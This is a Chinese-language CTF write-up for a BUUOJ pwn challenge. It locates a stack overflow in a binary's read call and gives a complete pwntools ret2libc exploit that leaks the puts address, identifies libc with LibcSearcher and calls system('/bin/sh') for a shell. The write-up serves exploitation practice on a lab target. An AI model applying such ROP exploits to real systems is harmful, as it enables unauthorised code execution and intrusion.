
检查一下拖入ida查看main函数中没有什么明显的漏洞点进入vuln函数查看这个read函数很明显的栈溢出看看程序有没有后门好吧,看上去并没有那就是要自己通过libc写入了由于read函数之前,程序使用过puts我们通过puts函数泄露地址,题目没有给libc库我们再寻找ret和rdi寄存器from pwn import * from LibcSearcher import * context(arch amd64,os linux,log_level debug) #io process(./pwn) elf ELF(./pwn) io remote(node5.buuoj.cn,27725) offset 0x208 puts_plt_addr elf.plt[puts] puts_got_addr elf.got[puts] vuln_addr 0x40067D rdi_addr 0x400733 ret_addr 0x4004c9 payload1 cyclic(offset) p64(rdi_addr) p64(puts_got_addr) p64(puts_plt_addr) p64(vuln_addr) io.sendline(payload1) puts_addr u64(io.recvuntil(\x7f)[-6:].ljust(8,b\x00)) print(hex(puts_addr)) libc LibcSearcher(puts,puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) payload2 cyclic(offset) p64(rdi_addr) p64(bin_sh_addr) p64(ret_addr) p64(system_addr) io.sendline(payload2) io.interactive()经过我的测验,libc库为5最后成功获得flag